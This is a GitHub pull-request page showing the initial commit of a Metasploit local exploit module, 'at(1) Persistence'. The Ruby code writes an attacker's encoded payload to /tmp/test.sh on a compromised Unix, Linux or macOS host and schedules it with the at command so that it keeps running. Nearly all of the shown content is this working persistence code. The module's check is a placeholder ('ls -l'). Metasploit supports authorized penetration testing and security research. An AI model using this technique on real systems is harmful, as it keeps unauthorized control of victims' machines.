Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

at(1) persistence #7310

Merged
merged 11 commits into from
Dec 22, 2016
Next Next commit
Initial commit of at(1) 'persistence'
Initial inspiration from @h00die's cron module in #7003
  • Loading branch information
jhart-r7 committed Sep 13, 2016
commit c69d65c47e8b16da334d2e818d8667a9e94d70a5
61 changes: 61 additions & 0 deletions modules/exploits/multi/local/at_persistence.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'at(1) Persistence',
'Description' => %q(
),
'License' => MSF_LICENSE,
'Author' =>
[
'Jon Hart <jon_hart@rapid7.com>'
],
'Targets' => [['Automatic', {} ]],
'DefaultTarget' => 0,
'Platform' => ['unix', 'linux', 'osx'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python'
}
},
'DefaultOptions' => { 'WfsDelay' => 60 },
'DisclosureDate' => "Jan 1 1997" # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
)
)

register_options(
[
OptString.new('TIME', [false, 'When to run job via at(1). Changing may require WfsDelay to be adjusted', 'now + 1 minute']),
OptBool.new('CLEANUP', [true, 'Delete at entry and payload after execution', true])
]
)
end

# TODO: find a better way to determine if the user can use at(1). cmd_exec doesn't get us stderr or a return code
def check
cmd_exec("ls -l")
end

def exploit
write_file("/tmp/test.sh", payload.encoded)
print_status(cmd_exec("at -f /tmp/test.sh #{datastore['TIME']}"))
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
Rex.sleep(datastore['WfsDelay'].to_i)
end
end